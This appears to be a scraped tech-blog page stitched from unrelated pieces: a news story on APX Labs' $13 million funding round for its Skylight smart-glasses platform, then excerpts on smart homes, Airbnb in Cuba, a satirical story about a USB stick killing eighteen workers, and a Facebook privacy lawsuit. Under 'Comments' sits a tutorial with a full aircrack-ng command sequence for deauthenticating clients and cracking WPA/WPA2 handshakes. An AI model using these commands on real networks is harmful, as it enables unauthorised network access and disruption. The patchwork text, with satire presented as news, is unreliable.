APX Labs Grabs $13 Million For Enterprise Smart Glasses Platform

APX Labs, makers of the Skylight smart glasses development platform, announced a $13 million investment today.

The round was led by NEA, but there were several others parties involved including CNF Investments, GE Ventures, Salesforce Ventures, SineWave Ventures, and other unnamed investors. Today’s round brings the total raised to $29 million.

While the company was happy about the money, CEO Brian Ballard, seemed most excited by the strategic investments from GE Ventures and Salesforce Ventures, which he felt really validated what the company was trying to do.

GE is a customer and they are going to do a large deployment within the next 12 months that will be a serious test case for the platform.

SkyLight is a vendor-agnostic smart glasses platform. That means it works across a variety of glasses manufacturers including Google Glass, which is focusing on enterprise use cases for now and others like Sony Smart Eye Glasses, among others.

Photo Credit: APX Labs

The hardware when used in conjunction with the Skylight software enables employees working in any industrial scenario to get instructions via the smart glasses interface while keeping their hands free.

Skylight interface example. Photo Credit: APX Labs

As for Salesforce, it sees smart glasses as the interface for the internet of Things, a trend it has made clear it is very much interested in. For now, Salesforce wants to push smart glasses technology to field service workers as a way to undertake repairs in the field hands-free.

You can imagine, there are any number of scenarios where this could be useful for these companies. For example, at GE you have people working on huge industrial equipment like locomotives, jet engines and wind turbines. Using smart glasses with Skylight, they are able to assess the situation, while getting information via a smart glasses interface with their hands free. It’s clear how this would be much more efficient than working with a tablet or laptop.

In some scenarios where a worker may be in a hazmat suit or inside a large machine, working with a laptop or tablet isn’t even possible. The smart glasses enable the worker to get information directly through the glasses.

Ballard sees this industry just beginning to emerge from first generation hardware and software, and moving into some larger scale deployments, like his company’s work with GE.

They currently claim to have dozens of customers including six out of the Fortune 10. Ballard wouldn’t name them all, although GE is one. Regardless, those are some serious players interested in this technology, and it shows that the market could poised to take off in a big way.

“Our target now is the biggest manufacturers on the planet,” he said.

The company also has some impressive partners to help build that market including Microsoft, Accenture, SAP and Deloitte.

It’s still early days for the Herndon, Virginia company, but Ballard hopes to use this money to continue developing the product, scaling the company to a wider market and supporting a larger number of smart glasses as they become available.

Comments

Crack WPA & WPA2 with Aircrack-ng on Kali Linux

In this tutorial we are going to teach you How to crack WPA & WPA 2 with aircrack-ng on Kali Linux. We high recommend this for research or educational purpose only. Things we used for cracking WPA & WPA2: Alfa AWUSO36H Wireless Card Windows 7-64bit (works on 32bit) VMware Workstation Kali Linux 2.0 Command to crack WPA & WPA2: airmon-ng sudo ifconfig wlan0 down sudo iwconfig wlan0 mode monitor sudo ifconfig wlan0 up airodump-ng wlan0 airodump-ng -c [channel id] --write [any name] --bssid [bssid of the wifi] wlan0 aireplay-ng --deauth 5 -a [bssid] -c [station id] wlan0 aircrack-ng -w [wordlist file] -b [bssid] [any name]-01.cap sudo ifconfig wlan0 down sudo iwcofnig wlan0 mode monitor sudo ifconfig wlan0 up Here is a YouTube video on How to crack WPA and WPA2 with Aircrack-ng on Kali Linux: In the about tutorial we EVER hack our own systems as a proof of concept and never engage in any black hat activity.

Building a smarter home

The Jetsons presented a highly entertaining vision of what homes of the future would look like . The animated television show anticipated a world where humans would be able to do everything with just the push of a button. In many ways, the show turned out to be prophetic; today we have printable food, video chats, smartwatches and robots that help with housework — and flying cars may even be on the way. The challenge for companies is to integrate digital technologies in meaningful ways that enhance people’s homes and improve their lives. Many of the innovations to emerge over the past few years have been geared toward this kind of “push-button living.” Thanks to the rise of smartphones and the proliferation of cheap sensors, it is possible to make just about any household appliance “smart” and “connected.” By 2019, companies are expected to ship 1.9 billion connected home devices, bringing in about $490 billion in revenue. ...

Airbnb will open its Cuba listings to users outside the United States

Airbnb will now let travelers from outside the U.S. to book properties in Cuba after receiving authorization from the U.S. government, reports the Associated Press . Previously, only Americans were allowed to reserve the site’s Cuban listings . They will open to international users on April 2. Airbnb launched its Cuban operations in April 2014 , four months after the Obama administration revealed that it will begin to restore diplomatic relations with the Communist country . The historic policy change means that travel and trade sanctions will be lifted , which is expected to boost tourism to Cuba dramatically because Americans no longer need licenses to visit. In fact, President Obama is currently on an official visit to Cuba , the first president since Calvin Coolidge to do so. According to the AP, Cuba is currently Airbnb’s fastest-growing market, with about 4,000 homes added since it opened listings. Other travel businesses...

Careless USB removal causes multiple deaths

EIGHTEEN workers have died after a USB stick was removed from a computer without adequate precautions. The offices of Hereford-based Envision Photography were completely destroyed in the ensuing blast. Survivor Norman Steele said: “My colleague Helen had put some files on the stick to work on at home, and she yanked it out of the computer before anyone could scream ‘no’. “I kicked her aside as a jet of white-hot flame belched out of the USB port and set fire to the desk opposite. “Grabbing her, I dived through the window just before all the PCs in the network exploded with purple electricity that fried everyone in the building. “I sprinted to my car, knowing that the printers were already becoming merciless hunter-killer drones, shouting for Helen to follow. “But when I looked round I saw her frozen, something glowing in her hand, the awareness dawning of her fate. She was still holding the USB. “She detonated in a flash of ultraviolet light that turned eve...

Facebook ‘Class Action’ Privacy Lawsuit Moves To Austrian Supreme Court

A privacy lawsuit filed against Facebook last year by Viennese lawyer and data privacy activist Max Schrems has moved up to Austria’s Supreme Court which will rule on whether the suit can be treated as a class action. When Schrems kicked off the suit, back in July 2014, he invited adult non-commercial Facebook users located anywhere outside the U.S. and Canada to join the suit for free — and tens of thousands of people quickly took up the invitation. The legal action focuses on multiple areas where the plaintiffs argue Facebook has been violating EU data protection laws, such as the absence of effective consent to many types of data use; the tracking of Internet users through external websites; and the monitoring and analysis of users via big data systems. Facebook’s participation in the NSA’s PRISM surveillance program is also part of the complaint. In July the case suffered a setback when an Austrian regional co...

Exciting Technology

Search This Blog